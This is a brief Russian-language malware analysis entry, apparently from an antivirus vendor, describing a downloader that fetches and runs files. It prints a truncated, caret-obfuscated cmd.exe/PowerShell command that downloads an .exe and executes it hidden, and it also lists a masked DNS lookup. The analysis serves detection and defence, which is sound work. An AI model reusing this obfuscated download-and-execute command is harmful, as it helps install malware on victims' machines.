Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V^:O/C"^s^et ^jYZ^e= ^ ^ ^ ^ ^ ^ ^ ^ ^ }^}{^hct^ac^}^;k^a^erb^;^z^G^S$ ^me^t^I^-e^kovnI^;)^z^GS^$ ^,^T^z^S^$(^e^l^iF^d^ao^ln^woD^.hG^B^$^{^yrt{)bN^I^$^ ni^ Tz^S^$(^hc^aerof^;^'exe.^'^+u...
Сетевая активность
UDP
- DNS ASK jb####0l23iyy.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V^:O/C"^s^et ^jYZ^e= ^ ^ ^ ^ ^ ^ ^ ^ ^ }^}{^hct^ac^}^;k^a^erb^;^z^G^S$ ^me^t^I^-e^kovnI^;)^z^GS^$ ^,^T^z^S^$(^e^l^iF^d^ao^ln^woD^.hG^B^$^{^yrt{)bN^I^$^ ni^ Tz^S^$(^hc^aerof^;^'exe.^'^+u...' (со скрытым окном)
